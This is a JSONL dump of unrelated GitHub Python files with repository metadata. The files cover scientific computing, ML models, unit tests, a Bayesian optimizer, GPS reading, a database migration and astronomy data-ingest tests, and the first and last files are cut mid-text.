QtCore.QTimer()\n    timer.timeout.connect(accelerometer.checkNotifications)\n\n    view = QtWidgets.QGraphicsView(canvas)\n    window.setCentralWidget(view)\n    window.showFullScreen()\n\n    canvas.paint()\n    timer.start(100)\n\n    return app.exec()\n\nif __name__ == '__main__':\n    main()\n","repo_name":"che0/microbit-bt-accelerometer","sub_path":"linux-client/qtoutput.py","file_name":"qtoutput.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"21755628841","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jun 18 22:37:47 2023\n\n@author: lena\n\"\"\"\n\n\n### Librairies\n\nimport numpy as np\n\n\n\n# Return the section increasing exponentially (index and values). In this section we want strict positivity and croissance.  \ndef section_exp(vect, allele, nb_ind, pic_values): \n    # last_exp : where we last the exponential section\n    last_index = np.where(vect>pic_values[allele])[0][0]\n    # first_exp : where we start the exponential section\n    if np.any(vect[:last_index]==0):\n        # we ensure strict positivity \n        posit_index = np.where(vect[:last_index]==0)[0][-1]+1\n        # and nb_ind on the first site or before\n        nb_ind_index = np.where(vect[:last_index]>nb_ind[allele])[0][0]    \n        # max to have both conditions       \n        first_index = max(posit_index, nb_ind_index)\n    else : first_index = \"outside_window\"\n    return(first_index, last_index)\n\n\n# Speed and lambdas (numeric)\ndef num(index_time, time, dx, wt, drive, nb_ind, nb_drive, posi_pic, pic_values, dist_1):  \n    # Mean and variances of the distance of the last individual\n    L_mean = np.zeros(2)\n    for allele in range(2):\n        L_mean[allele] = np.round(np.mean(dist_1[allele,:]),3)               \n    # Numerical speed  \n    v = np.mean(np.diff(posi_pic[0,int(3*np.shape(posi_pic)[1]/4):]))/(time[-1]-time[-2])\n    # Numerical positive lambda (approximate exponential coefficient for the exponentially increasing section)\n    lambda_pos_list = np.zeros((2,len(index_time))); lambda_pos = np.zeros(2)\n    for allele in range(2): \n        matrix = [wt, drive][allele]\n        for i in index_time: \n            # vect = allele repartition (wt and drive) at time[i]\n            vect = matrix[i,:]\n            # index for begin and end of the exponential section considered\n            first_exp, last_exp = section_exp(vect, allele, nb_ind, pic_values)\n            # compute the exponential coefficient of vect[first_exp:last_exp]\n            if first_exp != \"outside_window\":\n                lambda_pos_list[allele,i-index_time] = np.polyfit(np.arange(first_exp-last_exp,0)*dx, np.log(vect[first_exp:last_exp]), 1)[0]\n        # Mean of the values found\n        lambda_pos[allele] = np.mean(np.delete(lambda_pos_list[allele,:], np.where(lambda_pos_list[allele,:]==0)))\n    return(v, lambda_pos, L_mean)  \n    \n\n\n# Speed and lambdas (continuous)\ndef continu(conv_timing,s,h,c,r):\n    # Conversion timing\n    if conv_timing == \"ger\" :\n        term = (1-s*h)*(1+c)\n    if conv_timing == \"zyg\" :\n        term = 2*c*(1-s) + (1-c)*(1-s*h) \n    # Speed \n    v = 2*np.sqrt(term-1)\n    # Lambdas\n    lDfc = -v/2\n    lDbc = -v/2 + np.sqrt(term - (r+1)*(1-s))\n    lWbc = -v/2 + np.sqrt(term - (r+1)*(1-s*h)*(1-c))\n    return(v, lDfc, [lWbc, lDbc])\n\n    \n# Speed and lambdas (discrete)\ndef discrete(conv_timing,s,h,c,r,m,dx,dt):\n    # Conversion timing\n    if conv_timing == \"ger\" :\n        term = (1-s*h)*(1+c)\n    if conv_timing == \"zyg\" :\n        term = 2*c*(1-s) + (1-c)*(1-s*h) \n    # Lambda vector\n    lambda_vect = np.linspace(0.001,2,20001)\n    # Speed \n    v = np.min(np.log((1+(term-1)*dt)*(1-m+m*np.cosh(lambda_vect*dx)))/(lambda_vect*dt))\n    # Drive lambda at the front\n    eqDfd = np.exp(lambda_vect*v*dt) - (1+(term-1)*dt)*(1-m+m*np.cosh(lambda_vect*dx))\n    lDfd = (-1*lambda_vect)[np.where(abs(eqDfd)==np.min(abs(eqDfd)))[0][0]]\n    # Drive and Wild-type lamdba at the back\n    eqDbd = np.exp(-lambda_vect*v*dt) - (1+((r+1)*(1-s)-1)*dt)*(1-m+m*np.cosh(lambda_vect*dx))\n    eqWbd = np.exp(-lambda_vect*v*dt) - (1+((r+1)*(1-s*h)*(1-c)-1)*dt)*(1-m+m*np.cosh(lambda_vect*dx))\n    lDbd = lambda_vect[np.where(abs(eqDbd)==np.min(abs(eqDbd)))[0][0]]\n    lWbd = lambda_vect[np.where(abs(eqWbd)==np.min(abs(eqWbd)))[0][0]]\n    return(v, lDfd, [lWbd, lDbd]) \n    \n    \n# Distance of the last individual (density striclty positive)\ndef L(pic_values, lambda_pos):    \n    L = [np.log(pic_values[0])/lambda_pos[0], np.log(pic_values[1])/lambda_pos[1]]\n    return(L)\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n\n    \n          \n","repo_name":"LenaKlay/gd_project_1","sub_path":"stochastic/functions/L_speed_eigen_values.py","file_name":"L_speed_eigen_values.py","file_ext":"py","file_size_in_byte":4120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"24979922016","text":"from tensorflow import keras\nfrom attention_keras import channel_attention3d, spatial_attention3d, attention2d\n\n\ndef DAT_CNN(INPUT_A, INPUT_B, n_out=1):\n    ## Feature extraction\n    model_input_A = keras.Input(shape = INPUT_A, name=\"Patches_3D_S2\")\n\n    # HEAD 1\n    CA1 = channel_attention3d()(model_input_A)\n    SA1 = spatial_attention3d()(CA1)\n    C1 = keras.layers.Conv3D(64, kernel_size=(3, 3, 3), strides=(1, 1, 1), padding=\"same\", data_format='channels_last', input_shape=INPUT_A)(CA1)\n    B1 = keras.layers.BatchNormalization()(C1)\n    A1 = keras.layers.Activation('relu')(B1)   \n    P1 = keras.layers.MaxPooling3D((2, 2, 1), strides=(1, 1, 1), padding='same',data_format='channels_last')(A1)\n    # HEAD 2\n    C2 = keras.layers.Conv3D(128, kernel_size=(3, 3, 3), strides=(1, 1, 1), padding=\"same\", data_format='channels_last')(P1)\n    B2 = keras.layers.BatchNormalization()(C2)\n    A2 = keras.layers.Activation('relu')(B2)   \n    P2 = keras.layers.MaxPooling3D((2, 2, 1), strides=(2, 2, 1), padding='same',data_format='channels_last')(A2)\n    # BODY 1 \n    C3 = keras.layers.Conv3D(256, kernel_size=(3, 3, 3), strides=(1, 1, 1), padding=\"same\", data_format='channels_last')(P2)\n    B3 = keras.layers.BatchNormalization()(C3)\n    A3 = keras.layers.Activation('relu')(B3)   \n    C4 = keras.layers.Conv3D(256, kernel_size=(3, 3, 3), strides=(1, 1, 1), padding=\"same\", data_format='channels_last')(A3)\n    B4 = keras.layers.BatchNormalization()(C4)\n    A4 = keras.layers.Activation('relu')(B4)  \n    P3 = keras.layers.MaxPooling3D((2, 2, 1), strides=(2, 2, 1), padding='same',data_format='channels_last')(A4)\n    # BODY 2\n    C5 = keras.layers.Conv3D(512, kernel_size=(3, 3, 3), strides=(1, 1, 1), padding=\"same\", data_format='channels_last')(P3)\n    B5 = keras.layers.BatchNormalization()(C5)\n    A5 = keras.layers.Activation('relu')(B5)   \n    C6 = keras.layers.Conv3D(512, kernel_size=(3, 3, 3), strides=(1, 1, 1), padding=\"same\", data_format='channels_last')(A5)\n    B6 = keras.layers.BatchNormalization()(C6)\n    A6 = keras.layers.Activation('relu')(B6)  \n    P4 = keras.layers.MaxPooling3D((2, 2, 3), strides=(2, 2, 3), padding='same',data_format='channels_last')(A6)\n    \n    # HEAD 1 S3\n    model_input_B = keras.Input(shape = INPUT_B, name=\"Patches_3D_S3\")\n    I1 = keras.layers.Reshape((1,1,4))(model_input_B)\n    SA2 = attention2d()(I1)\n    C12 = keras.layers.Conv2D(16, kernel_size=(1, 1), strides=(1, 1), padding=\"same\", data_format='channels_last', input_shape=INPUT_B)(SA2)\n    B12 = keras.layers.BatchNormalization()(C12)\n    A12 = keras.layers.Activation('relu')(B12)   \n    P12= keras.layers.MaxPooling2D((1, 1), strides=(1, 1), padding='same',data_format='channels_last')(A12)\n    # BODY 1 S3\n    C32 = keras.layers.Conv2D(64, kernel_size=(1, 1), strides=(1, 1), padding=\"same\", data_format='channels_last')(P12)\n    B32 = keras.layers.BatchNormalization()(C32)\n    A32 = keras.layers.Activation('relu')(B32)   \n    C42 = keras.layers.Conv2D(128, kernel_size=(1, 1), strides=(1, 1), padding=\"same\", data_format='channels_last')(A32)\n    B42 = keras.layers.BatchNormalization()(C42)\n    A42 = keras.layers.Activation('relu')(B42)  \n    P32 = keras.layers.MaxPooling2D((1, 1), strides=(1, 1), padding='same',data_format='channels_last')(A42)#(A52)\n\n    J1 = keras.layers.concatenate([P32,P32],axis=3)\n    J2 = keras.layers.Reshape((1,1,1,256))(J1) \n    P4 = keras.layers.Reshape((1,1,1,1024))(P4) \n    J3 = keras.layers.concatenate([P4,J2])\n    # TAIL\n    F1 = keras.layers.Flatten()(J3)\n    D1 = keras.layers.Dense(1024)(F1)\n    B7 = keras.layers.BatchNormalization()(D1)\n    A7 = keras.layers.Activation('relu')(B7)\n    model_output = keras.layers.Dense(n_out, activation='linear')(A7) \n    model = keras.Model(inputs=[model_input_A, model_input_B], outputs = model_output,name=\"dat_model\")\n    model.summary()\n    return model","repo_name":"ibanezfd/DATCNN","sub_path":"codes/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3851,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"43500690287","text":"#!/usr/bin/env python3\n\nimport unittest\nfrom fractions import Fraction\nfrom graphtheory.structures.edges import Edge\nfrom graphtheory.structures.graphs import Graph\nfrom graphtheory.structures.points import Point\nfrom graphtheory.forests.treeplot import TreePlot\nfrom graphtheory.forests.treeplot import TreePlotRadiusAngle\n\n# 0     3\n# |     |\n# |     |\n# 1 --- 4 --- 5 --- 6\n# |\n# |\n# 2\n\nclass TestTreePlot(unittest.TestCase):\n\n    def setUp(self):\n        self.N = 7           # number of nodes\n        self.G = Graph(self.N)\n        self.nodes = range(self.N)\n        self.edges = [\n            Edge(0, 1), Edge(1, 2), Edge(1, 4),\n            Edge(3, 4), Edge(4, 5), Edge(5, 6)]\n        for node in self.nodes:\n            self.G.add_node(node)\n        for edge in self.edges:\n            self.G.add_edge(edge)\n\n    def test_tree_plot(self):\n        self.assertEqual(self.G.e(), self.N-1)\n        algorithm = TreePlot(self.G)\n        algorithm.run()\n        self.assertEqual(len(algorithm.point_dict), self.N)\n        #print ( algorithm.point_dict )\n\n    def test_tree_plot_radius_angle(self):\n        self.assertEqual(self.G.e(), self.N-1)\n        algorithm = TreePlotRadiusAngle(self.G)\n        algorithm.run()\n        self.assertEqual(len(algorithm.point_dict), self.N)\n        #print ( algorithm.point_dict )\n        self.assertEqual(algorithm.point_dict,\n            {0: (2, Fraction(1, 2)),\n            1: (1, Fraction(1, 1)), \n            2: (2, Fraction(3, 2)), \n            3: (1, Fraction(3, 1)), \n            4: (0, Fraction(3, 1)), \n            5: (1, Fraction(5, 1)), \n            6: (2, Fraction(5, 1))})\n\n    def test_tree_three_nodes(self):\n        T = Graph(3)\n        for node in (0, 1, 2):\n            T.add_node(node)\n        for edge in (Edge(0, 1), Edge(1, 2)):\n            T.add_edge(edge)\n        algorithm = TreePlot(T)\n        algorithm.run()\n        self.assertEqual(len(algorithm.point_dict), 3)\n        #print ( algorithm.point_dict )\n\n    def test_tree_three_nodes_radius_angle(self):\n        T = Graph(3)\n        for node in (0, 1, 2):\n            T.add_node(node)\n        for edge in (Edge(0, 1), Edge(1, 2)):\n            T.add_edge(edge)\n        algorithm = TreePlotRadiusAngle(T)\n        algorithm.run()\n        self.assertEqual(len(algorithm.point_dict), 3)\n        #print ( algorithm.point_dict )\n        self.assertEqual(algorithm.point_dict,\n            {0: (1, Fraction(3, 2)),\n            1: (0, Fraction(3, 1)), \n            2: (1, Fraction(9, 2))})\n\n    def tearDown(self): pass\n\nif __name__ == \"__main__\":\n\n    unittest.main()\n\n# EOF\n","repo_name":"ufkapano/graphtheory","sub_path":"graphtheory/forests/tests/test_treeplot.py","file_name":"test_treeplot.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"37"}
+{"seq_id":"29157548506","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.gaussian_process import GaussianProcessRegressor\nfrom scipy.stats import norm\nfrom scipy.optimize import minimize\nimport sys\nimport pandas as pd\n\n\n\ndef costly_function(x):\n    total = np.array([])\n    for x_i in x:\n        total = np.append(total, np.sum(np.exp(-(x_i - 5) ** 2)))\n    return total + np.random.randn()\n\nx = np.random.randn(5,2)\ny = costly_function(x)\npd.DataFrame(data={'y':y, 'x0':x[:,0], 'x1':x[:,1]})\n\nclass BayesianOptimizer():\n\n    def __init__(self, target_func, x_init, y_init, n_iter, scale, batch_size):\n        self.x_init = x_init\n        self.y_init = y_init\n        self.target_func = target_func\n        self.n_iter = n_iter\n        self.scale = scale\n        self.batch_size = batch_size\n        self.gauss_pr = GaussianProcessRegressor()\n        self.best_samples_ = pd.DataFrame(columns=['x', 'y', 'ei'])\n        self.distances_ = []\n\n    def _get_expected_improvement(self, x_new):\n        # Using estimate from Gaussian surrogate instead of actual function for\n        # a new trial data point to avoid cost\n\n        mean_y_new, sigma_y_new = self.gauss_pr.predict(np.array([x_new]), return_std=True)\n        sigma_y_new = sigma_y_new.reshape(-1, 1)\n        if sigma_y_new == 0.0:\n            return 0.0\n\n        # Using estimates from Gaussian surrogate instead of actual function for\n        # entire prior distribution to avoid cost\n\n        mean_y = self.gauss_pr.predict(self.x_init)\n        max_mean_y = np.max(mean_y)\n        z = (mean_y_new - max_mean_y) / sigma_y_new\n        exp_imp = (mean_y_new - max_mean_y) * norm.cdf(z) + sigma_y_new * norm.pdf(z)\n\n        return exp_imp\n\n    def _acquisition_function(self, x):\n        return -self._get_expected_improvement(x)\n\n    def _get_next_probable_point(self):\n        min_ei = float(sys.maxsize)\n        x_optimal = None\n\n        # Trial with an array of random data points\n\n        for x_start in (np.random.random((self.batch_size, self.x_init.shape[1])) * self.scale):\n            response = minimize(fun=self._acquisition_function, x0=x_start, method='L-BFGS-B')\n            if response.fun < min_ei:\n                min_ei = response.fun\n                x_optimal = response.x\n\n        return x_optimal, min_ei\n\n    def _extend_prior_with_posterior_data(self, x, y):\n        self.x_init = np.append(self.x_init, np.array([x]), axis=0)\n        self.y_init = np.append(self.y_init, np.array(y), axis=0)\n\n    def optimize(self):\n        y_max_ind = np.argmax(self.y_init)\n        y_max = self.y_init[y_max_ind]\n        optimal_x = self.x_init[y_max_ind]\n        optimal_ei = None\n        for i in range(self.n_iter):\n            self.gauss_pr.fit(self.x_init, self.y_init)\n            x_next, ei = self._get_next_probable_point()\n            y_next = self.target_func(np.array([x_next]))\n            self._extend_prior_with_posterior_data(x_next, y_next)\n\n            if y_next[0] > y_max:\n                y_max = y_next[0]\n                optimal_x = x_next\n                optimal_ei = ei\n\n            if i == 0:\n                prev_x = x_next\n            else:\n                self.distances_.append(np.linalg.norm(prev_x - x_next))\n                prev_x = x_next\n\n            self.best_samples_ = self.best_samples_.append({\"y\": y_max, \"ei\": optimal_ei}, ignore_index=True)\n\n        return optimal_x, y_max\n\n\nif __name__ == \"__main__\":\n    sample_x = np.array([[8, 1], [6.2, 5.3]])\n    sample_y = costly_function(sample_x)\n\n    bopt = BayesianOptimizer(target_func=costly_function, x_init=sample_x, y_init=sample_y, n_iter=200, scale=10,\n                             batch_size=30)\n    bopt.optimize()\n\n\n    pd.DataFrame(bopt.distances_).plot()\n    bopt.best_samples_['y'].plot()\n    bopt.best_samples_['ei'].plot()\n","repo_name":"marcaureledivernois/_bayesian_optimization","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3770,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"18775566138","text":"'''\ndirectorPython demoElevationMap.py --interactive\nListens to the Elevation Map and draws it in a UI\n'''\n\nfrom director import segmentation\nfrom director.consoleapp import ConsoleApp\nfrom director import drcargs\nfrom director import vtkAll as vtk\n\nfrom director import applogic\nfrom director import visualization as vis\nfrom director.timercallback import TimerCallback\n\nvtkRos= vtk.vtkRosInit()\nvtkRos.Start()\n\nreader= vtk.vtkRosGridMapSubscriber()\nreader.Start()\nprint(reader)\n\n\nimport time\n\napp = ConsoleApp()\nview = app.createView()\n\ndef spin():\n    polyData = vtk.vtkPolyData()\n    reader.GetMesh(polyData)\n    vis.updatePolyData(polyData,'mesh')\n    print(\"Number of points (a)\",  polyData.GetNumberOfPoints())\n    if (polyData.GetNumberOfPoints() == 0):\n        return\n\n    polyDataPC = vtk.vtkPolyData()\n    reader.GetPointCloud(polyDataPC)\n    vis.updatePolyData(polyDataPC, 'output')\n    print(\"Number of points (b)\",  polyDataPC.GetNumberOfPoints())\n\n\n    \nquitTimer = TimerCallback(targetFps=5.0)\nquitTimer.callback = spin\nquitTimer.start()\n\nif app.getTestingInteractiveEnabled():\n    view.show()\n    app.showObjectModel()\n    app.start()\n\n\n","repo_name":"ori-drs/director","sub_path":"src/python/demos/demoElevationMap.py","file_name":"demoElevationMap.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"37"}
+{"seq_id":"73523374187","text":"\"\"\"Adding running_time column\n\nRevision ID: 1998265ea176\nRevises: c9c4e14136b4\nCreate Date: 2023-04-05 17:34:11.299334\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '1998265ea176'\ndown_revision = 'c9c4e14136b4'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    with op.batch_alter_table('songs', schema=None) as batch_op:\n        batch_op.add_column(sa.Column('running_time', sa.Integer(), nullable=True))\n        batch_op.alter_column('likes',\n               existing_type=mysql.INTEGER(),\n               nullable=True)\n\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    with op.batch_alter_table('songs', schema=None) as batch_op:\n        batch_op.alter_column('likes',\n               existing_type=mysql.INTEGER(),\n               nullable=False)\n        batch_op.drop_column('running_time')\n\n    # ### end Alembic commands ###\n","repo_name":"Cpierswim/music_library","sub_path":"migrations/versions/1998265ea176_adding_running_time_column.py","file_name":"1998265ea176_adding_running_time_column.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"24652204604","text":"from binascii import b2a_base64\n\nfrom cloudroast.cloudkeep.barbican.fixtures import SecretsFixture\nfrom cafe.drivers.unittest.issue import skip_open_issue\nfrom cafe.drivers.unittest.decorators import tags\nfrom cloudcafe.cloudkeep.common.states import SecretsStates\n\n\nclass SecretsAPI(SecretsFixture):\n\n    @tags(type='positive')\n    def test_adding_full_secret(self):\n        \"\"\" Covers proper creation of secret with an expiration attribute set\n        - Reported in Barbican GitHub Issue #76\n        \"\"\"\n        resp = self.behaviors.create_secret_from_config()\n\n        self.assertEqual(resp.status_code, 201)\n        self.assertGreater(len(resp.id), 0)\n\n    @tags(type='positive')\n    def test_adding_secret_wout_expiration(self):\n        \"\"\"Covers creating a secret without an expiration.\"\"\"\n        resp = self.behaviors.create_secret_from_config(use_expiration=False)\n\n        self.assertEqual(resp.status_code, 201)\n        self.assertGreater(len(resp.id), 0)\n\n    @tags(type='positive')\n    def test_get_secret_metadata(self):\n        \"\"\"Covers getting and checking a secret's metadata.\"\"\"\n        resp = self.behaviors.create_secret_from_config(use_expiration=False)\n        self.assertEqual(resp.status_code, 201)\n\n        sec_resp = self.client.get_secret(secret_id=resp.id)\n        self.assertEqual(sec_resp.status_code, 200)\n        metadata = sec_resp.entity\n\n        self.assertEqual(sec_resp.status_code, 200)\n        self.assertEqual(metadata.status, SecretsStates.ACTIVE)\n        self.assertEqual(metadata.name, self.config.name)\n        self.assertEqual(metadata.mode, self.config.mode)\n        self.assertEqual(metadata.algorithm, self.config.algorithm)\n        self.assertEqual(metadata.bit_length, self.config.bit_length)\n\n    @skip_open_issue(type='launchpad', bug_id='1208562')\n    @tags(type='positive')\n    def test_get_secret(self):\n        \"\"\"Covers getting a secret's encrypted data.\"\"\"\n        resp = self.behaviors.create_secret_from_config(use_expiration=False)\n        self.assertEqual(resp.status_code, 201)\n\n        sec_resp = self.client.get_secret(\n            secret_id=resp.id,\n            payload_content_type=self.config.payload_content_type)\n        self.assertEqual(sec_resp.status_code, 200)\n        self.assertIn(self.config.payload, b2a_base64(sec_resp.content))\n\n    @tags(type='positive')\n    @skip_open_issue('launchpad', '1350988')\n    def test_updating_a_secret(self):\n        \"\"\"Covers giving a secret data.\"\"\"\n        # Create\n        resp = self.behaviors.create_secret()\n        self.assertEqual(resp.status_code, 201)\n\n        # Update\n        update_resp = self.client.add_secret_payload(\n            secret_id=resp.id,\n            payload_content_type=self.config.payload_content_type,\n            payload='testing_update_secret')\n        self.assertEqual(update_resp.status_code, 204)\n\n        # Get/Check Updated\n        sec_resp = self.client.get_secret(\n            secret_id=resp.id,\n            payload_content_type=self.config.payload_content_type)\n        self.assertEqual(sec_resp.status_code, 200)\n        self.assertIn('testing_update_secret', sec_resp.content)\n\n    @tags(type='positive')\n    @skip_open_issue('launchpad', '1311240')\n    def test_deleting_a_secret(self):\n        \"\"\"Covers deleting a secret.\"\"\"\n        resp = self.behaviors.create_secret()\n        self.assertEqual(resp.status_code, 201)\n\n        del_resp = self.behaviors.delete_secret(resp.id)\n        self.assertEqual(del_resp.status_code, 204)\n\n    @tags(type='positive')\n    def test_get_secrets(self):\n        \"\"\"Covers getting a list of secret.\"\"\"\n        # Create 10 secrets\n        for i in range(0, 11):\n            self.behaviors.create_secret_from_config(use_expiration=False)\n\n        get_resp = self.client.get_secrets()\n        self._check_list_of_secrets(resp=get_resp, limit=10)\n","repo_name":"jcourtois/rpc9_cloudroast","sub_path":"cloudroast/cloudkeep/barbican/smoke/secrets.py","file_name":"secrets.py","file_ext":"py","file_size_in_byte":3835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"71461818988","text":"from gps import *\nimport os\n\n\nclass Location:\n    def __init__(self):\n        self.gpsd = gps(mode=WATCH_ENABLE | WATCH_NEWSTYLE)\n        self.repair_socket()\n\n    def repair_socket(self):\n        os.system(\"sudo systemctl stop gpsd.socket\")\n        os.system(\"sudo gpsd /dev/serial0 -F /var/run/gpsd.sock\")\n\n    def get_latitude_longitude(self):\n        while (True):\n            position_data = self.get_positional_data()\n            if (position_data != None):\n                return position_data\n\n    def get_positional_data(self):\n        data = self.gpsd.next()\n        if data['class'] == 'TPV':\n            latitude = getattr(data, 'lat', \"Unknown\")\n            longitude = getattr(data, 'lon', \"Unknown\")\n            return (str(latitude), str(longitude))\n        return None\n","repo_name":"colathro/gormin","sub_path":"location.py","file_name":"location.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"32147147096","text":"from api.Controller import Controller\n\n\nclass RoutesRegistrar:\n\n    BLUEPRINTS = [\n        Controller.routes,\n    ]\n\n    def __init__(self, app):\n        self.app = app\n\n    def register(self):\n        for blueprint in self.BLUEPRINTS:\n            self.app.register_blueprint(blueprint)","repo_name":"malikfassi/ENS-device-api","sub_path":"RoutesRegistrar.py","file_name":"RoutesRegistrar.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"41956926281","text":"from typing import List\n\nclass Solution:\n    def removeElement(self, nums: List[int], val: int) -> int:\n        '''\n        In-place removal of all instances of a number from a list of integers,\n        and then returns the new length of the given list. Original order is\n        not guaranteed.\n        \n        Params:\n            nums - A list of integers.\n            \n            val - The integer to remove from nums.\n            \n        Returns:\n            int - The length of nums after removal of all instances of val.\n            \n        Examples:\n            nums = [3,2,2,3]\n            removeElement(nums, 3)   ->   2, nums == [2,2]\n            \n            nums = [0,1,2,2,3,0,4,2]\n            removeElement(nums, 2)   ->   5, nums == [0,1,0,4,3]\n        '''\n        n = len(nums)\n        for i in range(n-1, -1, -1):\n            if nums[i] == val:\n                n -= 1\n                nums[i] = nums[n]\n                del nums[-1]\n            \n        return len(nums)\n","repo_name":"Hilldrupca/LeetCode","sub_path":"python/Arrays 101/Deleting Items From an Array/removeelement.py","file_name":"removeelement.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"28898329351","text":"from problem.problem import Tsp\nLIMIT_STUCK = 100\n\ndef main():\n    # Create an instance of TSP\n    p = Tsp()    # 'p': (numCities, locations, distanceTable)\n    p.setVariables()\n    # Call the search algorithm\n    solution, minimum = firstChoice(p)\n    # Show the problem and algorithm settings\n    p.storeResult(solution, minimum)\n    p.describe()\n    displaySetting()\n    # Report results\n    p.report()\n\ndef firstChoice(p):\n    current = p.randomInit()   # 'current' is a list of city ids\n    valueC = p.evaluate(current)\n    i = 0\n    while i < LIMIT_STUCK:\n        successor = p.randomMutant(current) #i, j번째 랜덤하게 추출해서 돌리는 것\n        valueS = p.evaluate(successor)\n        if valueS < valueC:\n            current = successor\n            valueC = valueS\n            i = 0              # Reset stuck counter\n        else:\n            i += 1\n    return current, valueC\n\n\ndef displaySetting():\n    print()\n    print(\"Search algorithm: First-Choice Hill Climbing\")\n    print(\"Max evaluations with no improvement: {0:,} iterations\"\n          .format(LIMIT_STUCK))\n\nmain()\n","repo_name":"YeDongVibe/AI_Programming_Class","sub_path":"P.Gam/02/Search_Tool_v2/first-choice (tsp).py","file_name":"first-choice (tsp).py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"70077218028","text":"import os\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\nclass Config(object):\n    # Defult production config\n    SECRET_KEY = os.getenv(f'SECRET_KEY', 'debugging')\n\n    # Database settings\n    SQLALCHEMY_DATABASE_URI = os.getenv(f'DATABASE_URL')\n    SQLALCHEMY_TRACK_MODIFICATIONS = False \n\nclass DevConfig(Config):\n    # Development config with debugging enabled\n    DEBUG = True","repo_name":"Zigelzi/laturel-home-api","sub_path":"home_api/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"779398797","text":"import unittest\nimport os\nimport lsst.utils.tests\n\nimport lsst.afw.image\nfrom lsst.daf.butler import Butler, DataCoordinate\nfrom lsst.obs.base.ingest_tests import IngestTestBase\nfrom lsst.obs.subaru.strayLight.yStrayLight import SubaruStrayLightData\n\ntestDataPackage = \"testdata_subaru\"\ntry:\n    testDataDirectory = lsst.utils.getPackageDir(testDataPackage)\nexcept LookupError:\n    testDataDirectory = None\n\n\n@unittest.skipIf(testDataDirectory is None, \"testdata_subaru must be set up\")\nclass HscIngestTestCase(IngestTestBase, lsst.utils.tests.TestCase):\n\n    curatedCalibrationDatasetTypes = (\"defects\", \"camera\", \"bfKernel\", \"transmission_optics\",\n                                      \"transmission_sensor\", \"transmission_filter\", \"transmission_atmosphere\")\n    ingestDir = os.path.dirname(__file__)\n    instrumentClassName = \"lsst.obs.subaru.HyperSuprimeCam\"\n    filterLabel = lsst.afw.image.FilterLabel(physical=\"HSC-I\", band=\"i\")\n\n    @property\n    def file(self):\n        return os.path.join(testDataDirectory, \"hsc\", \"raw\", \"HSCA90402512.fits.gz\")\n\n    dataIds = [dict(instrument=\"HSC\", exposure=904024, detector=50)]\n\n    @property\n    def visits(self):\n        butler = Butler(self.root, collections=[self.outputRun])\n        return {\n            DataCoordinate.standardize(\n                instrument=\"HSC\",\n                visit=904024,\n                universe=butler.dimensions\n            ): [\n                DataCoordinate.standardize(\n                    instrument=\"HSC\",\n                    exposure=904024,\n                    universe=butler.dimensions\n                )\n            ]\n        }\n\n    def testStrayLightIngest(self):\n        \"\"\"Ingested stray light files.\"\"\"\n\n        butler = Butler(self.root, run=self.outputRun)\n\n        straylightDir = os.path.join(testDataDirectory, \"hsc\", \"straylight\")\n\n        instrument = self.instrumentClass()\n\n        # This will warn about lots of missing files\n        with self.assertLogs(\"lsst.obs.subaru\", level=\"WARNING\") as cm:\n            instrument.ingestStrayLightData(butler, straylightDir, transfer=\"auto\")\n\n        collection = instrument.makeCalibrationCollectionName()\n        datasets = list(butler.registry.queryDatasetAssociations(\"yBackground\", collections=collection))\n        # Should have at least one dataset and dataset+warnings = 112\n        self.assertGreaterEqual(len(datasets), 1)\n        self.assertEqual(len(datasets) + len(cm.output), len(instrument.getCamera()))\n\n        # Ensure that we can read the first stray light file\n        strayLight = butler.get(datasets[0].ref)\n        self.assertIsInstance(strayLight, SubaruStrayLightData)\n\n    def checkRepo(self, files=None):\n        # We ignore `files` because there's only one raw file in\n        # testdata_subaru, and we know it's a science frame.\n        # If we ever add more, this test will need to change.\n        butler = Butler(self.root, collections=[self.outputRun])\n        expanded = butler.registry.expandDataId(self.dataIds[0])\n        self.assertEqual(expanded.records[\"exposure\"].observation_type, \"science\")\n\n\ndef setup_module(module):\n    lsst.utils.tests.init()\n\n\nif __name__ == \"__main__\":\n    lsst.utils.tests.init()\n    